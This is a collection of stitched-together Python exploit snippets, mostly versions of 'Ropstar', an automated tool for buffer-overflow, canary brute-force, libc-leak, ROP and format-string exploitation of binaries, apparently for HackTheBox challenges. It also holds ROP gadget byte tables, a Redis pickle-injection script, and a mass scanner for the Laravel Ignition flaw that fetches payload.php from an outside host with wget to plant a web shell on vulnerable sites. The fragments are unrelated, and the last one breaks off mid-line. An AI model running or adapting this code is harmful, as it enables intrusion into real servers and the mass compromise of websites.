def __init__(self, argv): parser = argparse.ArgumentParser(description='Pwn things, fast.') parser.add_argument('bin',help='target binary (local)') parser.add_argument('-rhost',help='target host') parser.add_argument('-rport', help='target port (required if -rhost is set)') parser.add_argument('-o', help='specify offset manually, skips dynamic resolution') parser.add_argument('-p', help='use proxy, e.g. https://127.0.0.1:8080') parser.add_argument('-m', help='specify address of main method, in case there is no symbols') parser.add_argument('-xor', help='xor payload with given byte') parser.add_argument('-win', help='specify win function address to call') parser.add_argument('-magic', help='magic string that needs to be sent before the payload') parser.add_argument('-remote_offset', help='get offset remotely via observing responses (often required with canaries)', action='store_true') parser.add_argument('-state', help='canary,rbp,rip (comma seperated)') parser.add_argument('-plugins', help='run custom plugins') self.args = parser.parse_args() self.home = pwd.getpwuid(os.getuid())[0] if self.home == 'root': self.home = '/'+self.home else: self.home = '/home/'+self.home # set context context.endian = "little" context.os = "linux" context.log_level = "debug" context.timeout = 10 self.t = Timeout() self.bname = self.args.bin self.binary = ELF(self.bname) self.arch = self.binary.get_machine_arch() log.info("Arch: "+self.arch) if self.arch == 'i386': context.bits = 32 context.arch = self.arch context.kernel = self.arch self.pattern_reg = "eip" else: context.bits = 64 context.arch = self.arch context.kernel = self.arch self.pattern_reg = "rsp" if self.args.remote_offset: if not self.args.rhost or not self.args.rport: log.failure("You need to specify rhost & rport to use remote_offset") sys.exit(0) self.offset = -1 if self.args.xor: self.xor = self.args.xor.decode('hex') self.leak = Leak(self) self.exploit = Exploit(self) # identity + rot13 for now self.encodings = [lambda x: x, lambda x: rot13(x)] self.success_marker = '' # some config options self.pattern_length = 2000 self.magic_newline = False if self.args.magic and "\\n" in self.args.magic: self.args.magic = self.args.magic.replace("\\n","") self.magic_newline = True self.canary = None
def __init__(self, argv): parser = argparse.ArgumentParser(description='Pwn things, fast.') parser.add_argument('bin', help='target binary (local)') parser.add_argument('-rhost', help='target host') parser.add_argument('-rport', help='target port (required if -rhost is set)') parser.add_argument( '-cid', help='challenge id for hackthebox challenges (to auto submit flags)' ) parser.add_argument( '-o', help='specify offset manually, skips dynamic resolution') parser.add_argument('-p', help='use proxy, e.g. https://127.0.0.1:8080') parser.add_argument( '-m', help='specify address of main method, in case there is no symbols') parser.add_argument('-xor', help='xor payload with given byte') parser.add_argument('-win', help='specify win function address to call') parser.add_argument( '-magic', help='magic string that needs to be send before the payload') self.args = parser.parse_args() self.username = os.getlogin() if self.args.cid: with open('/home/' + self.username + '/.htb_apikey', 'r') as f: self.api_key = f.read() log.success("Read api_key: " + self.api_key[:6] + "...") # set context context.endian = "little" context.os = "linux" context.log_level = "debug" context.timeout = 10 self.t = Timeout() self.bname = self.args.bin self.binary = ELF("./" + self.bname) self.arch = self.binary.get_machine_arch() log.info("Arch: " + self.arch) if self.arch == 'i386': context.bits = 32 context.arch = self.arch context.kernel = self.arch self.pattern_reg = "eip" else: context.bits = 64 context.arch = self.arch context.kernel = self.arch self.pattern_reg = "rsp" self.offset = -1 self.leak = Leak(self) self.exploit = Exploit(self) # identity + rot13 for now self.encodings = [lambda x: x, lambda x: rot13(x)] if self.args.xor: self.encodings.append(lambda x: xor(x, self.args.xor)) # some config options self.pattern_length = 2000
def allocate_helpers(self, buffer): """Allocate helper buffers needed by some specific platforms (e.g. for cleanup purposes)""" result = Exploit.allocate_helpers(self, buffer) if self.arch == "EM_X86_64": self.popret = buffer.allocate(self.pointer_size, name="popret") nope, nope, cleanup_location = self.get_gadget("cleanup") result += self.write_pointer(self.popret, self.str2ptr(cleanup_location) + 8) return result
def test_exploit(exploit_fp, flag_id, flag): try: exploit = imp.load_source('exploit', exploit_fp) from exploit import Exploit print 'Exploit..' e = Exploit() e.execute(HOST, PORT, flag_id) res = e.result() print 'Result: %s' % str(res) assert res['ERROR'] == 0 assert res['FLAG'] == flag except AssertionError: print 'AssertionError while executing Exploit' print traceback.format_exc() print '----------------------' print RED + 'ERROR' + ENDC sys.exit(2) except Exception: print 'Exception while executing Exploit' print traceback.format_exc() print '----------------------' print RED + 'ERROR' + ENDC sys.exit(2)
def add(self, max_number): for f in files: tolist = f.split('/') file_name = tolist[len(tolist) - 1] #print(file_name) try: file_name_to_number = int(file_name.split(".")[0]) if max_number != 0: if int(file_name_to_number) > max_number: file_path = f file_title = self.set_description(file_name) print(file_title) if file_title is not None: exploit = Exploit(file_name, file_title, file_path, 0, 0) self.SESSIONOBJ.merge(exploit) print(exploit.file) else: print('DESC NOT FOUND') else: file_path = f file_title = self.set_description(file_name) print(file_title) if file_title is not None: exploit = Exploit(file_name, file_title, file_path, 0, 0) self.SESSIONOBJ.add(exploit) print(exploit.file) else: print('DESC NOT FOUND') except: print('NEM SZAM') self.SESSIONOBJ.commit()
def Mass(uri): try: Expl = Exploit() Expl.uri = f'{uri}/_ignition/execute-solution' if not Exploit.testPost(Expl.uri): print('[-] ' + Color.red(uri) + ' | Not Vuln.') return False getLog = Exploit.getLogpath(uri) if not getLog: print('[-] ' + Color.red(uri)) return False path = getLog.replace(' ', '') Expl.logpath = path + '/storage/logs/laravel.log' if not Expl.pathExits(): print('[-] ' + Color.red(uri) + ' | Log Path Does not exists.') return False if not Expl.run('echo WIBUHEKER'): print('[-] ' + Color.red(uri) + ' | Nope not vuln.') return False shell = Expl.run( f'wget https://raw.githubusercontent.com/rintod/toolol/master/payload.php -O {path}/public/shl.php | echo WIBUHEKER' ) if not shell: print('[-] ' + Color.red(uri) + ' | Cannot Execute Command For Upload.') return False check = Expl.run(f'ls {path}/public') if 'shl.php' in check: print('[+] ' + Color.green(uri) + '/shl.php | Goodboy.') Exploit.save('SHELL.txt', uri + '/shl.php') else: print('[+] ' + Color.yellow(uri) + '| Cannot Upload Shell.') Exploit.save('VULN.txt', uri) except Exception as e: print('[!] ' + Color.red(uri) + f' | Opps got error message {str(e)}') return False
required=True, help='Target for exploit / file for mass exploit') pars.add_argument('-p', '--path', required=False, help='Log path of target') pars.add_argument('--thread', required=False, help='Threading if u use mass') args = vars(pars.parse_args()) target = args['target'] if 'http' in target: if args['path'] is None: try: check = Exploit.getLogpath(target) if check: args['path'] = check.replace( ' ', '') + '/storage/logs/laravel.log' else: print( Color.red( 'Cannot find Logpath or No debug, please search manually.' )) sys.exit() except Exception as e: print(Color.red(str(e))) sys.exit() readline.parse_and_bind('tab: complete') readline.parse_and_bind('set editing-mode vi') exploit = Exploit()
class Ropstar(): def __init__(self, argv): parser = argparse.ArgumentParser(description='Pwn things, fast.') parser.add_argument('bin',help='target binary (local)') parser.add_argument('-rhost',help='target host') parser.add_argument('-rport', help='target port (required if -rhost is set)') parser.add_argument('-o', help='specify offset manually, skips dynamic resolution') parser.add_argument('-p', help='use proxy, e.g. https://127.0.0.1:8080') parser.add_argument('-m', help='specify address of main method, in case there is no symbols') parser.add_argument('-xor', help='xor payload with given byte') parser.add_argument('-win', help='specify win function address to call') parser.add_argument('-magic', help='magic string that needs to be sent before the payload') parser.add_argument('-remote_offset', help='get offset remotely via observing responses (often required with canaries)', action='store_true') parser.add_argument('-state', help='canary,rbp,rip (comma seperated)') parser.add_argument('-plugins', help='run custom plugins') self.args = parser.parse_args() self.home = pwd.getpwuid(os.getuid())[0] if self.home == 'root': self.home = '/'+self.home else: self.home = '/home/'+self.home # set context context.endian = "little" context.os = "linux" context.log_level = "debug" context.timeout = 10 self.t = Timeout() self.bname = self.args.bin self.binary = ELF(self.bname) self.arch = self.binary.get_machine_arch() log.info("Arch: "+self.arch) if self.arch == 'i386': context.bits = 32 context.arch = self.arch context.kernel = self.arch self.pattern_reg = "eip" else: context.bits = 64 context.arch = self.arch context.kernel = self.arch self.pattern_reg = "rsp" if self.args.remote_offset: if not self.args.rhost or not self.args.rport: log.failure("You need to specify rhost & rport to use remote_offset") sys.exit(0) self.offset = -1 if self.args.xor: self.xor = self.args.xor.decode('hex') self.leak = Leak(self) self.exploit = Exploit(self) # identity + rot13 for now self.encodings = [lambda x: x, lambda x: rot13(x)] self.success_marker = '' # some config options self.pattern_length = 2000 self.magic_newline = False if self.args.magic and "\\n" in self.args.magic: self.args.magic = self.args.magic.replace("\\n","") self.magic_newline = True self.canary = None def fit(self, payload): ''' Fits the payload to the offset and potentical canary ''' if self.binary.canary: result = b'' log.info(f"Canary: {hex(self.canary)}") result += p64(self.canary) log.info(f"Bp: {hex(self.base_ptr)}") result += p64(self.base_ptr) result += payload result = fit({self.offset:result}) else: result = fit({self.offset:payload}) return result def run_plugins(self, proc): path = os.path.dirname(os.path.abspath(inspect.stack()[0][1]))+"/plugins/" files = [f for f in os.listdir(path) if f.endswith(".py") and not f == "__init__.py"] if len(files) > 0: log.info("Executing plugins: "+','.join(files)) for file in files: p, _ = file.rsplit('.', 1) mod = import_module('plugins.'+p) _class = getattr(mod, 'Plugin') plugin = _class(self.home) plugin.run(proc, proxy=self.args.p) def connect(self): ''' Connects to remote or local binary ''' p = None if self.args.rhost and self.args.rport: log.info("Using remote target "+self.args.rhost+":"+self.args.rport) p = remote(self.args.rhost, self.args.rport) else: log.info("Using local target") # env={'LD_PRELOAD': os.path.join(os.getcwd(), 'libc.so.6')} p = process(self.bname) return p def trigger(self, p, payload='', newline=True, recvall=False, prercv=False): ''' function that puts payload into vulnerable buffer ''' result = '' # clear buffer, this is slow, but sometimes required if prercv: p.recvlines(numlines=100, timeout=3) if self.args.magic: if not self.magic_newline: payload = self.args.magic + payload else: p.sendline(self.args.magic) if self.args.xor: payload = xor(payload, self.xor) if newline: p.sendline(payload) else: p.send(payload) try: if recvall: result = p.recvall(timeout=3) else: result = p.recvlines(numlines=100, timeout=3) except EOFError: pass return result def trigger_fmt(self, payload): ''' alternative to trigger for fmt string exploits (connects on its own) ''' p = self.connect() result = '' if self.args.magic: p.send(self.args.magic) # or sendline? p.sendline(payload) try: result = p.recvall() pattern = "(START0[xX][0-9a-fA-F]{4,8}END)" m = re.search(pattern, result) if m: result = m.groups(1)[0] log.info('FmtStr leak: '+result.strip("START").strip("END")) except EOFError: pass p.close() return result def get_dynamic(self): if not self.args.remote_offset: return self.get_offset_local() else: return self.get_offset_remote() def get_offset_remote(self): ''' Trial and error offset retrieval ''' for i in range(1, self.pattern_length): p = self.connect() try: result = self.trigger(p, cyclic(i), recvall=True) result = result.decode() if self.success_marker not in result: self.offset = i#-1 log.success("Offset: "+str(self.offset)) return True except EOFError: self.offset = i log.success("Offset: "+str(self.offset)) return True p.close() return False def get_offset_local(self): ''' get offset with unique pattern ''' for enc in self.encodings: p = process(self.bname) pattern = cyclic(self.pattern_length) pattern = enc(pattern) if self.args.magic: p.sendline(self.args.magic) try: p.sendline(pattern) except EOFError: log.failure("Can not get offset") return False p.wait() p.close() core = Coredump('./core') log.info("Fault: "+hex(core.fault_addr)) addr = core.fault_addr & 0x000000ffffffff # have to make it 32 bit or cyclic crashes self.offset = cyclic_find(addr) # offset can not be higher than the pattern length if self.offset > self.pattern_length: continue if self.offset != -1: log.success("Offset: "+str(self.offset)) return True log.failure("Can not get offset") return False def get_success_marker(self): ''' ''' p = self.connect() # get positive verifier, so we know what to expect if it doesn't crash result = self.trigger(p, 'test', newline=False, recvall=True) self.success_marker = result[-6:].decode() log.info("Success marker: "+self.success_marker) p.close() def check_success(self, p): ''' Check if we can execute shell commands ''' try: p.sendline("id") out = p.recvline() log.success(out) if len(out) > 0: p.sendline("cat flag.txt") flag = p.recvline() if self.args.plugins: self.run_plugins(p,) log.info('Time spent: '+str(round((time.time() - self.start_time),2))+'s') p.interactive() return True except EOFError: log.failure("Failed") pass return False def debug(self, bp): gdb.attach(p, ''' set follow-fork-mode child set breakpoint %s continue '''.format(bp)) def smart_leak(self, p=None): # run seperate p if not self.binary.canary and not p: p = self.connect() leak = self.leak.leak_libc(p) p.close() # keep p open elif not self.binary.canary and p: leak = self.leak.leak_libc(p) # run multiple p's else: leak = self.leak.leak_libc(p=None, is_forking=True) return leak def main(self): self.start_time = time.time() # offset can also be given on command line if not self.args.o and not self.binary.canary: # resolve offset dynamically log.info("Getting offset") result = self.get_dynamic() if not result: log.info("Trying format string vector") # no offset found via simple overflow, maybe fmt string? offset = -1 try: autofmt = FmtStr(self.trigger_fmt) if autofmt.offset == -1: log.failure("Could not find format string vector") return p = self.connect() self.exploit.fmt(p, autofmt) p.close() return except (IndexError, EOFError): log.failure("Probably not vulnerable to format string vector") return if self.args.o: self.offset = int(self.args.o) log.info("Offset: "+str(self.offset)) if self.binary.canary: # we need a marker for successful, non crashing requests to bruteforce values self.get_success_marker() log.info("Binary uses stack canary") # get offset self.get_dynamic() if self.offset == -1: log.failure("Can't continue without offset, consider providing it with -o <offset>") exit(-1) # did the user provide the values from a previous run ? if self.args.state: canary, base_ptr, instr_ptr = self.args.state.split(',') self.canary = int(canary,16) self.base_ptr = int(base_ptr,16) self.instr_ptr = int(instr_ptr,16) log.info("canary: "+hex(self.canary)) log.info("base ptr: "+hex(self.base_ptr)) log.info("instr ptr: "+hex(self.instr_ptr)) else: # bruteforce values log.info("Bruting canary, base ptr, intr ptr") log.info("This can take a while, go grab a coffee") pause() payload = cyclic(self.offset) canary = self.leak.leak_qword(payload) # canary payload = decode(payload) + canary base_ptr = self.leak.leak_qword(payload) # rbp payload = decode(payload) + base_ptr instr_ptr = self.leak.leak_qword(payload) # rip log.info("canary: "+hex(u64(canary))) log.info("base ptr: "+hex(u64(base_ptr))) log.info("instr ptr: "+hex(u64(instr_ptr))) self.canary = u64(canary) self.base_ptr = u64(base_ptr) self.instr_ptr = u64(instr_ptr) addr = self.instr_ptr - (self.instr_ptr & 0xfff) entry_offset = (self.binary.entry & 0xfffffffffffff000) self.binary.address = addr - entry_offset log.info("Base: "+hex(self.binary.address)) log.info("You probably want to save these values") pause() if self.args.win: p = self.connect() if self.exploit.win(p, self.args.win): p.close() return # leakless works for static & non-static binaries log.info("Checking for leakless exploitation") p = self.connect() if self.exploit.bss(p): p.close() return # static compiled binaries get their gadgets from their elf if not self.binary.libc: if self.exploit.static(p): p.close() return p.close() # dynamic complied binary, try leaking libc & exploiting via libc log.info("Getting Leak") leak = self.smart_leak() if len(leak) > 0: log.info("Getting libc version") versions = self.leak.ident_libc(leak) exploits = [self.exploit.bss, self.exploit.bss_execve, self.exploit.dup2, self.exploit.default] for version in versions: for exploit in exploits: p = self.connect() leak = self.smart_leak(p) if len(leak) == 0: continue log.info("Using "+version) libc_path = f"{self.leak.libcdb_path}libs/{version}/libc.so.6" print(libc_path) try: libc = ELF(libc_path) except IOError: log.failure("Could not load "+version+ "(skipping)") continue name, addr = list(leak.items())[0] libc.address = addr - libc.symbols[name] log.success("Libc base: {0}".format(hex(libc.address))) # exploit log.info("Running exploits") try: if exploit(p, libc): log.success("Done!") return except EOFError: pass log.failure("Could not exploit target.") p.close() else: log.failure("Could not leak anything")
class Ropstar(): def __init__(self, argv): parser = argparse.ArgumentParser(description='Pwn things, fast.') parser.add_argument('bin',help='target binary (local)') parser.add_argument('-rhost',help='target host') parser.add_argument('-rport', help='target port (required if -rhost is set)') parser.add_argument('-cid', help='challenge id for hackthebox challenges (to auto submit flags)') parser.add_argument('-o', help='specify offset manually, skips dynamic resolution') parser.add_argument('-p', help='use proxy, e.g. https://127.0.0.1:8080') parser.add_argument('-m', help='specify address of main method, in case there is no symbols') parser.add_argument('-xor', help='xor payload with given byte') parser.add_argument('-win', help='specify win function address to call') parser.add_argument('-magic', help='magic string that needs to be send before the payload') parser.add_argument('-remote_offset', help='get offset remotely via observing responses (often required with canaries)', action='store_true') self.args = parser.parse_args() self.home = os.getlogin() if self.home == 'root': self.home = '/'+self.home else: self.home = '/home/'+self.home if self.args.cid: with open(self.home+'/.htb_apikey','r') as f: self.api_key = f.read() log.success("Read api_key: "+self.api_key[:6]+"...") # set context context.endian = "little" context.os = "linux" context.log_level = "debug" context.timeout = 10 self.t = Timeout() self.bname = self.args.bin self.binary = ELF(self.bname) self.arch = self.binary.get_machine_arch() log.info("Arch: "+self.arch) if self.arch == 'i386': context.bits = 32 context.arch = self.arch context.kernel = self.arch self.pattern_reg = "eip" else: context.bits = 64 context.arch = self.arch context.kernel = self.arch self.pattern_reg = "rsp" if self.args.remote_offset: if not self.args.rhost or not self.args.rport: log.failure("You need to specify rhost & rport to use remote_offset") sys.exit(0) self.offset = -1 if self.args.xor: self.xor = self.args.xor.decode('hex') self.leak = Leak(self) self.exploit = Exploit(self) # identity + rot13 for now self.encodings = [lambda x: x, lambda x: rot13(x)] self.success_marker = '' # some config options self.pattern_length = 2000 self.magic_newline = False if self.args.magic and "\\n" in self.args.magic: self.args.magic = self.args.magic.replace("\\n","") self.magic_newline = True def connect(self): ''' Connects to remote or local binary ''' p = None if self.args.rhost and self.args.rport: log.info("Using remote target "+self.args.rhost+":"+self.args.rport) p = remote(self.args.rhost, self.args.rport) else: log.info("Using local target") # env={'LD_PRELOAD': os.path.join(os.getcwd(), 'libc.so.6')} p = process(self.bname) return p def trigger(self, p, payload='', newline=True, recvall=False): ''' function that puts payload into vulnerable buffer ''' result = '' if self.args.magic: if not self.magic_newline: payload = self.args.magic + payload else: p.sendline(self.args.magic) if self.args.xor: payload = xor(payload, self.xor) if newline: p.sendline(payload) else: p.send(payload) try: if recvall: result = p.recvall(timeout=2) else: result = p.recvlines(numlines=100, timeout=2) except EOFError: pass return result def trigger_fmt(self, payload): ''' alternative to trigger for fmt string exploits (connects on its own) ''' p = self.connect() result = '' if self.args.magic: p.send(self.args.magic) # or sendline? p.sendline(payload) try: result = p.recvall() pattern = "(START0[xX][0-9a-fA-F]{4,8}END)" m = re.search(pattern, result) if m: result = m.groups(1)[0] log.info('FmtStr leak: '+result.strip("START").strip("END")) except EOFError: pass p.close() return result def submit_challenge_flag(self, flag): ''' Submit flag to htb ''' url = 'https://www.hackthebox.eu/api/challenges/own/?api_token='+self.api_key data = {'challenge_id':self.args.cid, 'flag': flag, "difficulty": 1} data_str = "&".join("%s=%s" % (k,v) for k,v in data.items()) headers = {'User-Agent':'Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0', 'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8'} if not self.args.p: r = requests.post(url, data=data_str, headers=headers, verify=False) else: r = requests.post(url, data=data_str, headers=headers, verify=False, proxies={'https':self.args.p}) log.info("Result: "+str(r.status_code)) def get_dynamic(self): if not self.args.remote_offset: return self.get_offset_local() else: return self.get_offset_remote() def get_offset_remote(self): ''' Trial and error offset retrieval ''' for i in range(1, self.pattern_length): p = self.connect() try: result = self.trigger(p, cyclic(i)) if self.success_marker not in result: self.offset = i-1 log.success("Offset: "+str(self.offset)) return True except EOFError: self.offset = i log.success("Offset: "+str(self.offset)) return True p.close() return False def get_offset_local(self): ''' get offset with unique pattern ''' for enc in self.encodings: p = process(self.bname) pattern = cyclic(self.pattern_length) pattern = enc(pattern) if self.args.magic: p.sendline(self.args.magic) p.sendline(pattern) p.wait() p.close() core = Coredump('./core') log.info("Fault: "+hex(core.fault_addr)) addr = core.fault_addr & 0x000000ffffffff # have to make it 32 bit or cyclic crashes self.offset = cyclic_find(addr) # offset can not be higher than the pattern length if self.offset > self.pattern_length: continue if self.offset != -1: log.success("Offset: "+str(self.offset)) return True log.failure("Can not get offset") return False def get_success_marker(self): ''' ''' p = self.connect() # get positive verifier, so we know what to expect if it doesn't crash result = self.trigger(p, 'test', newline=False, recvall=True) self.success_marker = result[-6:] log.info("Success marker: "+self.success_marker) p.close() def check_success(self, p): ''' Check if we can execute shell commands and submit the flag when doing htb challenges ''' try: p.sendline("id") out = p.recvline() log.success(out) if len(out) > 0: p.sendline("cat flag.txt") flag = p.recvline() if self.args.cid and len(flag) > 0 and flag.find('No such file or directory') == -1: self.submit_challenge_flag(flag.strip("\n")) log.success("Submitted flag: "+flag) else: log.info("Not submitted") log.info('Time spent: '+str(round((time.time() - self.start_time),2))+'s') p.interactive() return True except EOFError: log.failure("Failed") pass return False def debug(self, bp): gdb.attach(p, ''' set follow-fork-mode child set breakpoint %s continue '''.format(bp)) def main(self): self.start_time = time.time() # offset can also be given on command line if not self.args.o: # resolve offset dynamically log.info("Getting offset") result = self.get_dynamic() if not result: # no offset found via simple overflow, maybe fmt string? offset = -1 try: autofmt = FmtStr(self.trigger_fmt) if autofmt.offset == -1: log.failure("Could not find format string vuln") return p = self.connect() self.exploit.fmt(p, autofmt) p.close() return except IndexError: log.failure("Could not find format string vuln") return else: self.offset = int(self.args.o) log.info("Offset: "+str(self.offset)) if self.binary.canary: # we need a marker for successful, non crashing requests to bruteforce values self.get_success_marker() log.info("Binary uses stack canary") log.info("Bruting canary, base ptr, intr ptr") log.info("This can take a while, go grab a coffee") pause() payload = cyclic(self.offset) canary = self.leak.leak_qword(payload) # canary payload += canary base_ptr = self.leak.leak_qword(payload) # rbp payload += base_ptr instr_ptr = self.leak.leak_qword(payload) # rip payload += instr_ptr log.info("canary: "+hex(u64(canary))) log.info("base ptr: "+hex(u64(base_ptr))) log.info("instr ptr: "+hex(u64(instr_ptr))) log.info("You probably want to copy these") pause() # at this point we can assume we have the values self.canary = u64(canary) self.base_ptr = u64(base_ptr) self.instr_ptr = u64(instr_ptr) ''' self.canary = manual self.base_ptr = manual self.instr_ptr = manual ''' addr = self.instr_ptr - (self.instr_ptr & 0xfff) entry_offset = (self.binary.entry & 0xfffffffffffff000) self.binary.address = addr - entry_offset log.info("Base: "+hex(self.binary.address)) if self.args.win: p = self.connect() if self.exploit.win(p, self.args.win): p.close() return # leakless works for static & non-static binaries log.info("Checking for leakless exploitation") p = self.connect() if self.exploit.bss(p): p.close() return # static compiled binaries get their gadgets from their elf if not self.binary.libc: if self.exploit.static(p): p.close() return p.close() # dynamic complied binary, try leaking libc & exploiting via libc log.info("Getting Leak") p = self.connect() leak = self.leak.leak_libc(p) p.close() if len(leak) > 0: log.info("Getting libc version") versions = self.leak.ident_libc(leak) exploits = [self.exploit.bss, self.exploit.bss_execve, self.exploit.default] for version in versions: for exploit in exploits: p = self.connect() leak = self.leak.leak_libc(p) if len(leak) == 0: continue log.info("Using "+version) try: libc = ELF(version) # take first hit for now except IOError: log.failure("Could not load "+version+ "(skipping)") continue name, addr = leak.items()[0] libc.address = addr - libc.symbols[name] log.success("Libc base: {0}".format(hex(libc.address))) # exploit log.info("Running exploits") try: if exploit(p, libc): log.success("Done!") return except EOFError: pass log.failure("Could not exploit target.") p.close() else: log.failure("Could not leak anything")
def __init__(self): Exploit.__init__(self) # Good for FreeBSD # self.add_gadget("EM_386", "writemem", 4, # " 8b 44 24 08" + # mov eax,DWORD PTR [esp+0x8] \ # " 8b 4c 24 04" + # mov ecx,DWORD PTR [esp+0x4] \ # " 89 01" + # mov DWORD PTR [ecx],eax \ # " c3") # ret # self.add_gadget("EM_386", "cleanup", 3, # " 83 c4 0c" + # add esp,0xc \ # " c3") # ret # Good for Linux self.add_gadget("EM_386", "writemem", 4, " 8b 54 24 08" + # mov edx,DWORD PTR [esp+0x8] \ " 8b 44 24 04" + # mov eax,DWORD PTR [esp+0x4] \ " 89 10" + # mov DWORD PTR [eax],edx \ " c3") # ret # *(*(eax)+ecx) = ebx self.add_gadget("EM_386", "deref_write_with_offset", 4, " 58" + # pop eax \ " 5b" + # pop ebx \ " 59" + # pop ecx \ " 8b 00" + # mov eax,DWORD PTR [eax] \ " 89 1c 08" + # mov DWORD PTR [eax+ecx*1],ebx \ " c3") # ret self.add_gadget("EM_386", "deref_with_offset_and_save", 4, " 58" + # pop eax \ " 5b" + # pop ebx \ " 59" + # pop ecx \ " 8b 00" + # mov eax,DWORD PTR [eax] " 8b 04 18" + # mov eax,DWORD PTR [eax+ebx*1] \ " 89 01" + # mov DWORD PTR [ecx],eax \ " c3") # ret self.add_gadget("EM_386", "copy_to_stack", 4, " 5b" + # pop ebx \ " 59" + # pop ecx \ " 8b 1b" + # mov ebx,DWORD PTR [ebx] \ " 89 1c 0c" + # mov DWORD PTR [esp+ecx*1],ebx \ " c3") # ret self.add_gadget("EM_386", "cleanup", 4, " 5b" + # pop ebx \ " 5e" + # pop esi \ " 5f" + # pop edi \ " 5d" + # pop ebp \ " c3") # ret self.add_gadget("EM_386", "prepare_memcpy", 4, " 58" + # pop eax \ " 5e" + # pop esi \ " 01 e6" + # add esi,esp \ " 89 34 04" + # mov DWORD PTR [esp+eax*1],esi \ " c3") # ret self.add_gadget("EM_386", "custom_cleanup", 4, " 5b" + # pop ebx \ " 01 dc" + # add esp,ebx \ " c3") # ret # This gadget requires 6 useless parameters self.add_gadget("EM_X86_64", "writemem", 8, " 48 8b 54 24 10" + # mov rdx,QWORD PTR [rsp+0x10] \ " 48 8b 44 24 08" + # mov rax,QWORD PTR [rsp+0x8] \ " 48 89 10" + # mov QWORD PTR [rax],rdx \ " c3") # ret self.add_gadget("EM_X86_64", "writemem", 8, " 48 89 37" + # mov QWORD PTR [rdi],rsi \ " c3") # ret self.add_gadget("EM_X86_64", "cleanup", 6, " 5b" + # pop rbx \ " 5d" + # pop rbp \ " 41 5c" + # pop r12 \ " 41 5d" + # pop r13 \ " 41 5e" + # pop r14 \ " 41 5f" + # pop r15 \ " c3") # ret self.add_gadget("EM_X86_64", "args", None, " 4c 89 ea" + # mov rdx,r13 \ " 4c 89 f6" + # mov rsi,r14 \ " 44 89 ff" + # mov edi,r15d \ " 41 ff 14 dc") # call QWORD PTR [r12+rbx*8] self.add_gadget("EM_X86_64", "deref_write_with_offset", None, " 58" + # pop rax \ " 5b" + # pop rbx \ " 59" + # pop rcx \ " 48 8b 00" + # mov rax,QWORD PTR [rax] \ " 48 89 1c 08" + # mov QWORD PTR [rax+rcx*1],rbx \ " c3") # ret self.add_gadget("EM_X86_64", "deref_with_offset_and_save", None, " 58" + # pop rax \ " 5b" + # pop rbx \ " 59" + # pop rcx \ " 48 8b 00" + # mov rax,QWORD PTR [rax] \ " 48 8b 04 18" + # mov rax,QWORD PTR [rax+rbx*1] \ " 48 89 01" + # mov QWORD PTR [rcx],rax \ " c3") # ret self.add_gadget("EM_X86_64", "copy_to_stack", None, " 5b" + # pop rbx \ " 59" + # pop rcx \ " 48 8b 1b" + # mov rbx,QWORD PTR [rbx] \ " 48 89 1c 0c" + # mov QWORD PTR [rsp+rcx*1],rbx \ " c3") # ret self.add_gadget("EM_X86_64", "prepare_memcpy", None, " 5e" + # pop rsi \ " 48 01 e6" + # add rsi,rsp \ " c3") # ret self.add_gadget("EM_X86_64", "custom_cleanup", None, " 58" + # pop rax \ " 48 01 c4" + # add rsp,rax \ " c3") # ret self.add_gadget("EM_X86_64", "prepare_easy", None, " 5f" + # pop rdi \ " 5e" + # pop rsi \ " 5a" + # pop rdx \ " c3") # ret # Assume LE self.add_gadget("EM_ARM", "writemem", 4, " 00 10 80 e5" + # str r1, [r0] \ " 1e ff 2f e1") # bx lr # Better not use this due to a bug in QEMU #self.add_gadget("EM_ARM", "prepare_regs", None, # " f8 85 bd e8") # pop {r3, r4, r5, r6, r7, r8, sl, pc} self.add_gadget("EM_ARM", "prepare_regs", None, " f8 85 bd 08") # popeq {r3, r4, r5, r6, r7, r8, sl, pc} self.add_gadget("EM_ARM", "setup_args", None, " 07 00 a0 e1" + # mov r0, r7 \ " 08 10 a0 e1" + # mov r1, r8 \ " 0a 20 a0 e1" + # mov r2, sl \ " 01 40 84 e2" + # add r4, r4, #1 \ " 33 ff 2f e1" + # blx r3 \ " 06 00 54 e1" + # cmp r4, r6 \ " f7 ff ff 1a" + # bne 8604 <__libc_csu_init+0x38> \ " f8 85 bd e8") # pop {r3, r4, r5, r6, r7, r8, sl, pc} self.add_gadget("EM_ARM", "just_ret", None, " 1e ff 2f e1") # bx lr
#!/usr/bin/env python2.7 import redis import pickle from exploit import Exploit r = redis.Redis(host='redis') for key in r.scan_iter(): print key r.set(key, pickle.dumps(Exploit(['echo', 'injected'])))
class Ropstar(): def __init__(self, argv): parser = argparse.ArgumentParser(description='Pwn things, fast.') parser.add_argument('bin', help='target binary (local)') parser.add_argument('-rhost', help='target host') parser.add_argument('-rport', help='target port (required if -rhost is set)') parser.add_argument( '-cid', help='challenge id for hackthebox challenges (to auto submit flags)' ) parser.add_argument( '-o', help='specify offset manually, skips dynamic resolution') parser.add_argument('-p', help='use proxy, e.g. https://127.0.0.1:8080') parser.add_argument( '-m', help='specify address of main method, in case there is no symbols') parser.add_argument('-xor', help='xor payload with given byte') parser.add_argument('-win', help='specify win function address to call') parser.add_argument( '-magic', help='magic string that needs to be send before the payload') self.args = parser.parse_args() self.username = os.getlogin() if self.args.cid: with open('/home/' + self.username + '/.htb_apikey', 'r') as f: self.api_key = f.read() log.success("Read api_key: " + self.api_key[:6] + "...") # set context context.endian = "little" context.os = "linux" context.log_level = "debug" context.timeout = 10 self.t = Timeout() self.bname = self.args.bin self.binary = ELF("./" + self.bname) self.arch = self.binary.get_machine_arch() log.info("Arch: " + self.arch) if self.arch == 'i386': context.bits = 32 context.arch = self.arch context.kernel = self.arch self.pattern_reg = "eip" else: context.bits = 64 context.arch = self.arch context.kernel = self.arch self.pattern_reg = "rsp" self.offset = -1 self.leak = Leak(self) self.exploit = Exploit(self) # identity + rot13 for now self.encodings = [lambda x: x, lambda x: rot13(x)] if self.args.xor: self.encodings.append(lambda x: xor(x, self.args.xor)) # some config options self.pattern_length = 2000 def connect(self): ''' Connects to remote or local binary ''' p = None if self.args.rhost and self.args.rport: log.info("Using remote target " + self.args.rhost + ":" + self.args.rport) p = remote(self.args.rhost, self.args.rport) else: log.info("Using local target") # env={'LD_PRELOAD': os.path.join(os.getcwd(), 'libc.so.6')} p = process("./" + self.bname) return p def trigger(self, p, payload): ''' function that puts payload into vulnerable buffer ''' result = '' if self.args.magic: p.sendline(self.args.magic) p.sendline(payload) # the amount of lines that need to be read # before getting the result depends on the binary so we # read a lot try: result = 